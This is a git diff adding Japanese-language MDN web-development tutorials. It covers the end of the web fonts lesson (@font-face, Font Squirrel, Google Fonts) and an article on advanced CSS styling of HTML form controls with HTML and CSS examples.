それらの代金を払わなければなりません、そして/またはコードの中で（またはサイトで）フォント作成者のクレジット表示のような他のライセンス条件に従わなければなりません。 フォントを盗み、適切なクレジットを与えずに使用するべきではありません。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: テクノロジーとしてのウェブフォントは、バージョン 4 以降の Internet Explorer でサポートされています！</p> +</div> + +<h2 id="Active_learning_A_web_font_example" name="Active_learning_A_web_font_example">能動的学習: ウェブフォントの例</h2> + +<p>この点を考慮して、最初の原則から基本的なウェブフォントの例を作り上げましょう。 埋め込まれたライブの例を使用してこれをデモすることは困難なので、代わりに、以下のセクションで詳述されている手順に従うことでプロセスを理解してください。</p> + +<p>コードを追加するための出発点として、<a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.html">web-font-start.html</a> ファイルと <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.css">web-font-start.css</a> ファイルを使用する必要があります（<a href="http://mdn.github.io/learning-area/css/styling-text/web-fonts/web-font-start.html">ライブの例</a>を見る）。 ここで、これらのファイルのコピーをコンピュータの新しいディレクトリに作成します。 <code>web-font-start.css</code> ファイルには、この例の基本的なレイアウトと組版を処理するための最小限の CSS がいくつかあります。</p> + +<h3 id="Finding_fonts" name="Finding_fonts">フォントを探す</h3> + +<p>この例では、見出し用と本文テキスト用の2つのウェブフォントを使用します。 まず最初に、フォントを含むフォントファイルを見つける必要があります。 フォントはフォント製造元によって作成され、さまざまなファイル形式で保存されます。 フォントを入手できるサイトは、一般的に3種類あります。</p> + +<ul> + <li>無料フォント配布会社: これは無料フォントをダウンロードできるサイトです（フォント作成者へのクレジット表示などのライセンス条件が他にあるかもしれません）。 例としては、<a href="https://www.fontsquirrel.com/">Font Squirrel</a>、<a href="http://www.dafont.com/">dafont</a>、<a href="https://everythingfonts.com/">Everything Fonts</a> などがあります。</li> + <li>有料フォント配布会社: これは、<a href="http://www.fonts.com/">fonts.com</a> や <a href="http://www.myfonts.com/">myfonts.com</a> など、フォントを有料で利用できるようにするサイトです。 <a href="https://www.linotype.com/">Linotype</a>、<a href="http://www.monotype.com">Monotype</a>、<a href="http://www.exljbris.com/">Exljbris</a> などのフォント製造元から直接フォントを購入することもできます。</li> + <li>オンラインフォントサービス: これはあなたに代わってフォントを保存し提供するサイトで、全体のプロセスをより簡単にします。 詳細については、{{anch("Using an online font service","オンラインフォントサービスの使用")}}のセクションを参照してください。</li> +</ul> + +<p>いくつかのフォントを見つけましょう！ <a href="https://www.fontsquirrel.com/">Font Squirrel</a> に行き、2つのフォントを選択します — 見出しには素敵で面白いフォント（多分素敵な display や slab serif フォント）、段落にはやや派手で読みやすいフォントです。 各フォントが見つかったら、download（ダウンロード）ボタンを押して、先ほど保存した HTML ファイルと CSS ファイルと同じディレクトリ内にファイルを保存します。 TTF（True Type Fonts）か OTF（Open Type Fonts）かは関係ありません。</p> + +<p>いずれの場合も、フォントパッケージを解凍します（ウェブフォントは通常、フォントファイルとライセンス情報を含む ZIP ファイルで配布されます）。 パッケージの中に複数のフォントファイルを見つけるかもしれません — 例えば、thin（細字）、medium（中字）、bold（太字）、italic（イタリック）、thin italic（細字イタリック）など、利用可能なさまざまな異形（variant）を持つファミリーとして配布されるフォントがあります。 この例では、それぞれの選択に対して 1つのフォントファイルを使用することを考慮してください。</p> + +<div class="note"> +<p><strong>注</strong>: 右側の列の "Find fonts"（フォントの検索）セクションで、さまざまな tags（タグ）や classifications（分類）をクリックして表示された選択肢を絞り込むことができます。 （訳注：残念なことに現在のところ日本語フォントはないようです。）</p> +</div> + +<h3 id="Generating_the_required_code" name="Generating_the_required_code">必要なコードの生成</h3> + +<p>今、必要なコード（そしてフォント形式）を生成する必要があります。 フォントごとに、次の手順に従います。</p> + +<ol> + <li>商用やウェブのプロジェクトでこれを使用する場合は、ライセンス要件をすべて満たしていることを確認してください。</li> + <li>Font Squirrel の <a href="https://www.fontsquirrel.com/tools/webfont-generator">Webfont Generator</a>（ウェブフォントジェネレータ）に行きます。</li> + <li><em>Upload Fonts</em>（フォントのアップロード）ボタンを使って2つのフォントファイルをアップロードします。</li> + <li>"Yes, the fonts I'm uploading are legally eligible for web embedding." （はい、アップロードしたフォントはウェブの埋め込みに法的に適格です。）というチェックボックスをオンにします。</li> + <li><em>Download your kit</em>（キットをダウンロードする）をクリックします。</li> +</ol> + +<p>ジェネレータの処理が完了したら、ZIP ファイルをダウンロードする必要があります — それを HTML と CSS と同じディレクトリに保存してください。</p> + +<h3 id="Implementing_the_code_in_your_demo" name="Implementing_the_code_in_your_demo">デモでのコードの実装</h3> + +<p>この時点で、生成したばかりのウェブフォントのキットを解凍します。 解凍したディレクトリ内には、3つの便利なアイテムがあります。</p> + +<ul> + <li>各フォントの複数のバージョン: （例えば、<code>.ttf</code>、<code>.woff</code>、<code>.woff2</code> などで、ブラウザーのサポート要件が変わると、提供される正確なフォントも次第に更新されます）。 上記のように、クロスブラウザーをサポートするには複数のフォントが必要です — これが、必要なものがすべて揃っていることを確認するための Font Squirrel の方法です。</li> + <li>各フォントのデモ HTML ファイル: ブラウザーにこれらをロードして、フォントがさまざまな使用状況でどのように見えるかを確認します。</li> + <li><code>stylesheet.css</code> ファイル: 生成された <code>@font-face</code> コードが含まれています。</li> +</ul> + +<p>デモにこれらのフォントを実装するには、次の手順に従います。</p> + +<ol> + <li>解凍したディレクトリの名前を <code>fonts</code> のように簡単でシンプルなものに変更します。</li> + <li><code>stylesheet.css</code> ファイルを開き、その中に含まれている両方の <code>@font-face</code> ブロックを <code>web-font-start.css</code> ファイルにコピーします — フォントはサイトで使用する前にインポートする必要があるため、CSS のどれよりも前の一番上に配置する必要があります。</li> + <li>各 <code>url()</code> 関数は CSS にインポートしたいフォントファイルを指しています — ファイルへのパスが正しいことを確認する必要があるので、各パスの先頭に <code>fonts/</code> を追加します（必要に応じて調整します）。</li> + <li>これで、ウェブセーフフォントやデフォルトのシステムフォントと同じように、これらのフォントをフォントスタックで使用できます。 例えば、 + <pre class="brush: css notranslate">font-family: 'zantrokeregular', serif;</pre> + </li> +</ol> + +<p>いくつかの素敵なフォントが実装されたデモページができあがるはずです。異なるフォントは異なるサイズで作成されるため、サイズや間隔などを調整して、ルック・アンド・フィールを調整する必要があります。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/12984/web-font-example.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<div class="note"> +<p><strong>注</strong>: これがうまくいかない場合は、あなたのバージョンと完成したファイルとを比較してみてください — <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-finished.html">web-font-finished.html</a> と <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-finished.css">web-font-finished.css</a> を見てください（<a href="http://mdn.github.io/learning-area/css/styling-text/web-fonts/web-font-finished.html">完成した例をライブで実行してください</a>）。</p> +</div> + +<h2 id="Using_an_online_font_service" name="Using_an_online_font_service">オンラインフォントサービスの使用</h2> + +<p>オンラインフォントサービスは一般的にあなたのためにフォントを保存して提供するので、<code>@font-face</code> コードを書くことを心配する必要はなく、一般的にサイトに1行か2行の単純なコードを挿入するだけですべてがうまくいきます。例としては、<a href="https://fonts.adobe.com/">Adobe Fonts</a> や <a href="http://www.typography.com/cloud/welcome/">Cloud.typography</a> などが挙げられます。これらのサービスのほとんどはサブスクリプションベースですが、特に迅速なテスト作業やデモを書くのに便利な無料のサービスである <a href="https://www.google.com/fonts">Google Fonts</a> は例外です。</p> + +<p>これらのサービスのほとんどは使いやすいので、詳細には説明しません。 Google のフォントを簡単に見てみましょう。 そうすれば、アイデアを得ることができます。 ここでも、出発点として <code>web-font-start.html</code> と <code>web-font-start.css</code> のコピーを使用してください。</p> + +<ol> + <li><a href="https://www.google.com/fonts">Google Fonts</a> に行きます。</li> + <li>左側のフィルタを使って、選択したいフォントの種類を表示し、好きなフォントをいくつか選択します。 （訳注：Languages（言語）に Japanese（日本語）を選んでも、中国語のフォントも表示されます。 フォントによっては、存在しない文字があるようなので注意しましょう。 日本語環境なら文字は表示されますが、書体の統一感はなくなってしまいます。）</li> + <li>フォントファミリーを選択するには、その横にある ⊕ ボタンを押します。</li> + <li>フォントファミリーを選択したら、ページ下部の <em>[選択数] Families Selected</em> バーを押します。</li> + <li>表示された画面で、最初に表示された HTML コードの行をコピーして、それを HTML ファイルの先頭に貼り付ける必要があります。 フォントを CSS で使用する前にインポートされるように、既存の {{htmlelement("link")}} 要素の上に配置します。 （訳注：{{cssxref("@import")}} を選択すれば、CSS ファイルに貼り付けることもできます。）</li> + <li>次に、カスタムフォントを HTML に適用するために、リストされている CSS 宣言を必要に応じて CSS にコピーする必要があります。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: あなたの作品を私たちの作品と照合する必要がある場合は、完成版を <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/google-font.html">google-font.html</a> および <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/google-font.css">google-font.css</a> で見ることができます（それを<a href="http://mdn.github.io/learning-area/css/styling-text/web-fonts/google-font.html">ライブで見る</a>）。</p> +</div> + +<h2 id="font-face_in_more_detail" name="font-face_in_more_detail">@font-face の詳細</h2> + +<p>Font Squirrel によって生成された <code>@font-face</code> 構文を調べてみましょう。 これは、ブロックの1つがどのように見えるかです。</p> + +<pre class="brush: css notranslate">@font-face { + font-family: 'ciclefina'; + src: url('fonts/cicle_fina-webfont.eot'); + src: url('fonts/cicle_fina-webfont.eot?#iefix') format('embedded-opentype'), + url('fonts/cicle_fina-webfont.woff2') format('woff2'), + url('fonts/cicle_fina-webfont.woff') format('woff'), + url('fonts/cicle_fina-webfont.ttf') format('truetype'), + url('fonts/cicle_fina-webfont.svg#ciclefina') format('svg'); + font-weight: normal; + font-style: normal; +}</pre> + +<p><code>@font-face</code> が普及し始めた頃の Paul Irish による投稿（<a href="http://www.paulirish.com/2009/bulletproof-font-face-implementation-syntax/">Bulletproof @font-face Syntax</a>）の後、これは "bulletproof @font-face 構文" と呼ばれています。 それを見て、それが何をするのか見てみましょう。</p> + +<ul> + <li><code>font-family</code>: この行はフォントとして参照したい名前を指定します。 CSS を通して一貫してそれを使う限り、好きなものにすることができます。</li> + <li><code>src</code>: これらの行は CSS にインポートされるフォントファイルへのパス（<code>url</code> 部分）と各フォントファイルの形式（<code>format</code> 部分）を指定します。 どの場合も後者の部分はオプションですが、ブラウザーが使用できるフォントをすばやく見つけることができるため、宣言すると有益です。 複数の宣言をカンマで区切ってリストすることができます — ブラウザーはそれらを検索し、最初に理解できるとわかったものを使用します — 従って、先に WOFF2 のようなより新しくより良い形式を置き、そして後に TTF のようなより古くあまり良くない形式を置くのが最善です。 これに対する1つの例外は EOT フォントです — それらは、古いバージョンの IE が実際にフォントを使用できない場合でも、最初に見つかったものを使用しようとするので、古いバージョンの IE のいくつかのバグを修正するために最初に配置されています。</li> + <li>{{cssxref("font-weight")}} / {{cssxref("font-style")}}: これらの行はフォントの太さ、およびイタリックかどうかを指定します。 同じフォントの複数の太さをインポートする場合は、フォントファミリーのすべての異なるメンバーに異なる名前を付けるのではなく、それらの太さ/スタイルを指定して、異なる値の {{cssxref("font-weight")}} / {{cssxref("font-style")}} を使用することができます。 <a href="http://www.456bereastreet.com/archive/201012/font-face_tip_define_font-weight_and_font-style_to_keep_your_css_simple/">@font-face のこつ: CSS をシンプルに保つために font-weight と font-style を定義する</a>（英語）によって Roger Johansson が何をすべきかをより詳細に示しています。</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: ウェブフォントに特定の {{cssxref("font-variant")}} および {{cssxref("font-stretch")}} の値を指定することもできます。 新しいブラウザーでは、<code><a href="/ja/docs/Web/CSS/@font-face/unicode-range">unicode-range</a></code> の値でウェブフォントで使用する特定の文字範囲を指定することもできます — サポートしているブラウザーでは、指定された文字のみがダウンロードされ、不要なダウンロードを節約できます。 Drew McLellan による <a href="https://24ways.org/2011/creating-custom-font-stacks-with-unicode-range/">unicode-range を使ったカスタムフォントスタックの作成</a>（英語）は、これをどのように利用するかについていくつかの役に立つアイデアを提供します。</p> +</div> + +<h2 id="Summary" name="Summary">可変フォント</h2> + +<p>これは、幅、太さ、スタイルごとに別のフォントファイルを用意するのではなく、書体のさまざまなバリエーションを一つのファイルに組み込むことができるフォントです。これらのフォントは初心者向けのコースにしてはやや高度なものですが、もしあなたが自分自身を伸ばして調べたいと思っているのであれば、可変フォントガイドを読んでみてください。</p> + +<p>ブラウザでは、可変フォントと呼ばれる新しいフォントテクノロジーがあります。これらは、幅、太さ、スタイルごとに個別のフォントファイルを用意するのではなく、書体のさまざまなバリエーションを1つのファイルに組み込むことができるフォントです。 初心者コースでは多少上級ですが、調べてみたい場合は、<a href="/ja/docs/Web/CSS/CSS_Fonts/Variable_Fonts_Guide">Variable フォントガイド</a>をお読みください。</p> + +<h2 id="Summary" name="Summary">あなたのスキルをテストしてください！</h2> + +<p>あなたはこの記事の最後に到達し、すでに私たちのアクティブラーニングのセクションでいくつかのスキルテストを行いましたが、今後の最も重要な情報を覚えていますか？あなたがこの情報を保持していることを確認するための評価をモジュールの最後に見つけることができます。<a href="/ja/docs/Learn/CSS/Styling_text/Typesetting_a_homepage">コミュニティスクールのホームページの組版</a>を参照してください。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>テキストの装飾の基本についての記事を読み終えたので、今度はモジュール「コミュニティスクールのホームページの組版」の評価で理解度をテストします。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text/Typesetting_a_homepage", "Learn/CSS/Styling_text")}}</p> + + + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Fundamentals">基本的なテキストとフォントの装飾</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Styling_lists">リストの装飾</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Styling_links">リンクの装飾</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Web_fonts">ウェブフォント</a></li> + <li><a href="/ja/Learn/CSS/Styling_text/Typesetting_a_homepage">コミュニティスクールのホームページの組版</a></li> +</ul> diff --git a/files/ja/learn/forms/advanced_styling_for_html_forms/index.html b/files/ja/learn/forms/advanced_styling_for_html_forms/index.html new file mode 100644 index 0000000000..1d04415369 --- /dev/null +++ b/files/ja/learn/forms/advanced_styling_for_html_forms/index.html @@ -0,0 +1,556 @@ +--- +title: HTML フォームへの高度なスタイル設定 +slug: Learn/Forms/Advanced_styling_for_HTML_forms +tags: + - Advanced + - CSS + - Forms + - HTML + - Web + - ガイド + - 例 +translation_of: Learn/Forms/Advanced_form_styling +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Forms/Styling_web_forms", "Learn/Forms/UI_pseudo-classes", "Learn/Forms")}}</div> + +<p class="summary">本記事では、スタイル設定が難しい一部の(不良なものと劣悪なもの)フォームコントロールで CSS を使用する方法を見ていきます。<a href="/ja/docs/HTML/Forms/Styling_HTML_forms" title="HTML/Forms/Styling_HTML_forms">前の記事</a>で見たように、テキストフィールドやボタンでの CSS 使用はまったく問題がありません。ここからは、HTML フォームへのスタイル設定の闇の部分を見ていきます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシーと、<a href="https://wiki.developer.mozilla.org/ja/docs/Learn/HTML/Introduction_to_HTML">HTML</a> と <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/CSS/First_steps">CSS</a> の基本的な理解。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>フォームのどの部分をスタイル設定するのが難しいのか、またなぜなのかを理解する。そこをカスタマイズするのに何ができるかを学ぶ。</td> + </tr> + </tbody> +</table> + +<p>始める前に、2 種類の HTML フォームウィジェットについておさらいしましょう:</p> + +<p><strong>不良</strong>: スタイルの設定が難しく複雑なトリックが必要であり、時に CSS3 の高度な知識が必要である要素:</p> + +<ul> + <li>チェックボックスとラジオボタン</li> + <li><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/search"><input type="search"></a></code></li> +</ul> + +<p><strong>劣悪</strong>: いくつかの要素は CSS でスタイル設定できません。これらが含まれます:</p> + +<ul> + <li>ドロップダウンウィジェットを作成する要素、{{HTMLElement("select")}}, {{HTMLElement("option")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("datalist")}}を含む</li> + <li><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/color"><input type="color"></a></code></li> + <li><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/datetime-local"><input type="datetime-local"></a></code>のような日付関連コントロール</li> + <li><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/range"><input type="range"></a></code></li> + <li><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/file"><input type="file"></a></code></li> + <li>{{HTMLElement("progress")}} and {{HTMLElement("meter")}}</li> +</ul> + +<h2 id="appearance_controlling_OS-level_styling" name="appearance_controlling_OS-level_styling">見た目: OS レベルのスタイル制御</h2> + +<p>前の記事では歴史的に、ウェブフォームのスタイル設定は OS で行われており、それがこのコントロールの見た目のカスタマイズの問題の一部となっていました。</p> + +<p>{{cssxref("appearance")}} プロパティは OS やシステムレベルでウェブフォームのスタイル設定を制御する方法としてい作成されました。不運なことに、そのプロパティの元々の実装の動作はブラウザー間で大きく異なっており、そんなに便利ではありませんでした。最近の実装ではもっと動作が一貫してきており、十分興味深く、それは Chromium-ベースのブラウザー (Chrome, Opera, Edge), Safari, Firefox のいずれも <code>-webkit-</code> のプレフィックスつきバージョン (<code>-webkit-appearance</code>)をサポートしています。Firefox は、ウェブ開発者の大半が <code>-webkit-</code> プレフィックスバージョンをサポート使っていて互換性が良いため、このように決めました。</p> + +<p>リファレンスページを見ると <code>-webkit-appearance</code> の多くの値がありますが、最も便利で、おそらく唯一使うのは <code>none</code> です。これはあらゆるコントロールがシステムレベルのスタイル設定するのをできるだけ防止して、CSS を用いた独自のスタイル設定をできるようにします。</p> + +<p>例えば、次のコントロールを見てみます:</p> + +<pre class="brush: html notranslate"><form> + <p> + <label for="search">search: </label> + <input id="search" name="search" type="search"> + </p> + <p> + <label for="text">text: </label> + <input id="text" name="text" type="text"> + </p> + <p> + <label for="date">date: </label> + <input id="date" name="date" type="datetime-local"> + </p> + <p> + <label for="radio">radio: </label> + <input id="radio" name="radio" type="radio"> + </p> + <p> + <label for="checkbox">checkbox: </label> + <input id="checkbox" name="checkbox" type="checkbox"> + </p> + <p><input type="submit" value="submit"></p> + <p><input type="button" value="button"></p> +</form></pre> + +<p>次の CSS を適用してシステムレベルのスタイル設定を削除します。</p> + +<pre class="brush: css notranslate">input { + -webkit-appearance: none; + appearance: none; +}</pre> + +<div class="blockIndicator note"> +<p><strong>注</strong>: プレフィックスつきのプロパティを使っているときでも、両方の定義を常に入れておくのが良いです — プレフィックス付きとなしと。プレフィックスつきのものは通常は"作業中"を意味するため、将来のブラウザーベンダーはプレフィックスを落とすよう合意することもあるでしょう。上記のコードではそのような結末となった将来でも耐用できます。</p> +</div> + +<p>下記の例ではあなたのシステムでどのように見えるかを示します — デフォルトでは左で、上記の CSS が適用されると右です (その他のシステムでテストしたい場合は<a href="https://mdn.github.io/learning-area/html/forms/styling-examples/appearence-tester.html">ここも探してください</a>)。</p> + +<p>{{EmbedGHLiveSample("learning-area/html/forms/styling-examples/appearence-tester.html", '100%', 400)}}</p> + +<p>たいていの場合、効果は枠線を除去し、CSS でのスタイル設定を少し簡単にしますが、それは本質できありません。いくつかの場合 — 検索やラジオボタン/チェックボックスでは、もっと便利です。これを見ていきましょう。</p> + +<h3 id="Taming_search_boxes" name="Taming_search_boxes">検索ボックスを変更する</h3> + +<p><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/search"><input type="search"></a></code> は基本的に単なるテキスト入力のため、なぜ <code>appearance: none;</code> が便利なのでしょうか? 答えは macOS での Chromium ベースのブラウザーでは、検索ボックスはスタイル設定の制限があります — 例えば <code>height</code> や <code>font-size</code> を自在に調整できません。この理由は macOS以外の <a href="https://www.wired.com/2013/04/blink/">Chrome ブラウザーはもう WebKit レンダリングエンジンを使っていません</a> 、これは既定では、いくつかのフォームコントロールで Aqua の見た目が有効です。Aqua が有効だと、いくつかのフォームコントロールは <a href="https://webkit.org/blog/28/buttons/">scalable</a> となりません。</p> + +<p>これは デフォルトの Aqua を無効にする <code>appearance: none;</code>で修正できます:</p> + +<pre class="brush: css notranslate">input[type="search"] { + -webkit-appearance: none; + appearance: none; +}</pre> + +<p>下記の例では、2 つのスタイル設定された検索ボックスが見えます。右のものは <code>appearance: none;</code> が適用され、左はそうでありません。macOS Chrome で見ると左のものは正しいサイズでないように見えます。</p> + +<p>{{EmbedGHLiveSample("learning-area/html/forms/styling-examples/search-appearence.html", '100%', 200)}}</p> + +<p>興味深いことに、検索フィールドで border/background をセットしてもこの問題を解決できます、なぜならそれも Aqua を<a href="https://webkit.org/blog/28/buttons/">無効化</a>や "破壊する" からです。下記のスタイル設定された検索ボックスは <code>appearance: none;</code> が適用されていませんが、前の例と同じ macOS Chrome の問題に悩まされていません。</p> + +<p>{{EmbedGHLiveSample("learning-area/html/forms/styling-examples/styled-search.html", '100%', 200)}}</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: 検索フィールドでは、Edge と Chrome で入力がフォーカスされないときに "x" の削除アイコンが消えるが、Safari では残ることに気づくこともあるでしょう。CSS で消すには、<code>input[type="search"]::-webkit-search-cancel-button { display: none; }</code>を使用できますが、フォーカス時のアイコンも取り除き、見た目が元に戻らないようです。</p> +</div> + +<h3 id="Check_boxes_and_radio_buttons" name="Check_boxes_and_radio_buttons">チェックボックスとラジオボタン</h3> + +<p>チェックボックスやラジオボタンのスタイリングは難しい場合があります。たとえば、チェックボックスやラジオボタンのサイズはデフォルトのデザインの変更が意図されておらず、ブラウザーで試してみると非常に異なる反応を示します。</p> + +<p id="A_simple_test_case">例えば、シンプルなテストケースを考えてみます:</p> + +<pre class="brush: html notranslate"><span><input type="checkbox"></span></pre> + +<pre class="brush: css notranslate">span { + display: inline-block; + background: red; +} + +input[type=checkbox] { + width : 100px; + height: 100px; +}</pre> + +<p>さまざまなブラウザーでの処理方法は以下のとおりです:</p> + +<table> + <thead> + <tr> + <th scope="col">ブラウザー</th> + <th scope="col">描画結果</th> + </tr> + </thead> + <tbody> + <tr> + <td>Firefox 71 (macOS)</td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15671/firefox-mac-checkbox.png" style="height: 118px; width: 120px;"></td> + </tr> + <tr> + <td>Firefox 57 (Windows 10)</td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15691/firefox-windows-checkbox.png" style="height: 115px; width: 113px;"></td> + </tr> + <tr> + <td>Chrome 77 (macOS), Safari 13, Opera</td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15676/chrome-mac-checkbox.png" style="height: 117px; width: 116px;"></td> + </tr> + <tr> + <td>Chrome 63 (Windows 10)</td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15681/chrome-windows-checkbox.png" style="height: 117px; width: 120px;"></td> + </tr> + <tr> + <td>Internet Explorer 11 (Windows 10)</td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15696/ie11-checkbox.png" style="height: 112px; width: 119px;"></td> + </tr> + <tr> + <td>Edge 16 (Windows 10)</td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15686/edge-checkbox.png" style="height: 118px; width: 119px;"></td> + </tr> + </tbody> +</table> + +<h4 id="ラジオボタンチェックボックスで_appearance_none_を使う">ラジオボタン/チェックボックスで appearance: none を使う</h4> + +<p>これまで見てきたように、チェックボックスやラジオボタンのデフォルトの見た目を {{cssxref('appearance')}}<code>:none;</code> で削除できます。この HTML の例を見てみましょう：</p> + +<pre class="brush: html notranslate"><form> + <fieldset> + <legend>Fruit preferences</legend> + + <p> + <label> + <input type="checkbox" name="fruit-1" value="cherry"> + I like cherry + </label> + </p> + <p> + <label> + <input type="checkbox" name="fruit-2" value="banana" disabled> + I can't like banana + </label> + </p> + <p> + <label> + <input type="checkbox" name="fruit-3" value="strawberry"> + I like strawberry + </label> + </p> + </fieldset> +</form></pre> + +<p>さて、カスタムチェックボックスデザインでこれらのスタイルを設定しましょう。元のチェックボックスを解除することから始めましょう：</p> + +<pre class="brush: css notranslate">input[type=checkbox] { + -webkit-appearance: none; + appearance: none; +}</pre> + +<p>{{cssxref(":checked")}} と {{cssxref(":disabled")}} 擬似クラスを使用して、状態の変化に合わせてカスタムチェックボックスの外観を変更します：</p> + +<pre class="brush: css notranslate">input[type=checkbox] { + position: relative; + width: 1em; + height: 1em; + border: 1px solid gray; + /* Adjusts the position of the checkboxes on the text baseline */ + vertical-align: -2px; + /* Set here so that Windows' High-Contrast Mode can override */ + color: green; +} + +input[type=checkbox]::before { + content: "✔"; + position: absolute; + font-size: 1.2em; + right: 0; + top: -0.3em; + visibility: hidden; +} + +input[type=checkbox]:checked::before { + /* Use `visibility` instead of `display` to avoid recalculating layout */ + visibility: visible; +} + +input[type=checkbox]:disabled { + border-color: black; + background: #ddd; + color: gray; +}</pre> + +<p>こうした疑似クラスなどは、<a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/UI_pseudo-classes">次の記事</a>で見つけられますが、上記は次のことをしています:</p> + +<ul> + <li><code>:checked</code> — チェックボックス (やラジオボタン) がチェックされた状態にあります — ユーザーがクリック/有効化しています。</li> + <li><code>:disabled</code> — チェックボックス (やラジオボタン) が無効な状態にあります — 操作することができますせん.</li> +</ul> + +<p>実際の結果が表示されます。</p> + +<p>{{EmbedGHLiveSample("learning-area/html/forms/styling-examples/checkboxes-styled.html", '100%', 200)}}</p> + +<p>もっと理解できるよう別の例もあります:</p> + +<ul> + <li><a href="https://mdn.github.io/learning-area/html/forms/styling-examples/radios-styled.html">Styled radio buttons</a>: カスタムラジオボタンスタイル設定。</li> + <li><a href="https://mdn.github.io/learning-area/html/forms/toggle-switch-example/">Toggle switch example</a>: トグルスイッチのようなチェックボックス。</li> +</ul> + +<p>{{cssxref("appearance")}} や をサポートしていないブラウザーでこれらのチェックボックスを表示できます。カスタムデザインは失われますが、チェックボックスのままに見えて使用できます。</p> + +<div class="blockIndicator note"> +<p><strong>注記</strong>: Internet Explorer はどのバージョンの <code>appearance</code> もサポートしませんが、<code>input[type=checkbox]::-ms-check</code> にて IE のみチェックボックスをターゲットにできます。この手法は、<code>-ms-<em><strong>check</strong></em></code> という名前にもかかわらず、ラジオボタンでも機能します。</p> +</div> + +<h2 id="劣悪な要素に何ができるか">"劣悪な"要素に何ができるか?</h2> + +<p>今度は"劣悪な"コントロールに注目しましょう — これは完全にスタイル設定するのが本当に難しいものです。簡単にいうと、これはドロップダウンボックス、<code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/color">color</a></code> や <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/datetime-local">datetime-local</a></code> のような複合コントロールタイプ、フィードバック — {{HTMLElement("progress")}} や {{HTMLElement("meter")}}のような指向性コントロールです。</p> + +<p>問題は、要素はブラウザー同士でいろいろな既定の見た目があって、それにスタイル設定できても、内部のいくつかはスタイル設定できないことです。</p> + +<p>別のルック＆フィールに生きる準備がある場合、サイズ変更が一貫していて、background-colors のような単一スタイル設定、システムレベルのスタイル設定を除去できる見た目を使うシンプルなスタイル設定を持って逃げることもできます。</p> + +<p>例を見てみましょう、たくさんの"劣悪な" フォーム機能をつぎつぎに表示しています:</p> + +<p>{{EmbedGHLiveSample("learning-area/html/forms/styling-examples/ugly-controls.html", '100%', 750)}}</p> + +<p>この例では下記の CSS を適用しています:</p> + +<pre class="brush: css notranslate">body { + font-family: 'Josefin Sans', sans-serif; + margin: 20px auto; + max-width: 400px; +} + +form > div { + margin-bottom: 20px; +} + +select { + -webkit-appearance: none; + appearance: none; +} + +.select-wrapper { + position: relative; +} + +.select-wrapper::after { + content: "▼"; + font-size: 1rem; + top: 6px; + right: 10px; + position: absolute; +} + +button, label, input, select, progress, meter { + display: block; + font-family: inherit; + font-size: 100%; + padding: 0; + margin: 0; + box-sizing: border-box; + width: 100%; + padding: 5px; + height: 30px; +} + +input[type="text"], input[type="datetime-local"], input[type="color"], select { + box-shadow: inset 1px 1px 3px #ccc; + border-radius: 5px; +} + +label { + margin-bottom: 5px; +} + +button { + width: 60%; + margin: 0 auto; +}</pre> + +<div class="blockIndicator note"> +<p><strong>注記</strong>: 多数のブラウザーで同時にこの例をテストしたい場合、<a href="https://mdn.github.io/learning-area/html/forms/styling-examples/ugly-controls.html">live版をここで見つけてください</a> (<a href="https://github.com/mdn/learning-area/blob/master/html/forms/styling-examples/ugly-controls.html">ソースコードも見てください</a>)。</p> + +<p>また JavaScript をページに追加してコントロール自身の下にあるファイルピッカー自身で選択されたファイルを一覧しているのを心に留めておいてください。これは <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/file#Examples"><input type="file"></a></code> リファレンスページの例を簡単にしたバージョンです。</p> +</div> + +<p>見ていくうちに、この見た目がモダンブラウザーのようになっていくのが上手になるでしょう。</p> + +<p>すべてのコントロールとそのラベルに対してグローバルな CSS の正規化を適用し、サイズを同様にして、親のフォントを適用するなどを行っています。これは前の記事で述べたようなことです:</p> + +<pre class="brush: css notranslate">button, label, input, select, progress, meter { + display: block; + font-family: inherit; + font-size: 100%; + padding: 0; + margin: 0; + box-sizing: border-box; + width: 100%; + padding: 5px; + height: 30px; +}</pre> + 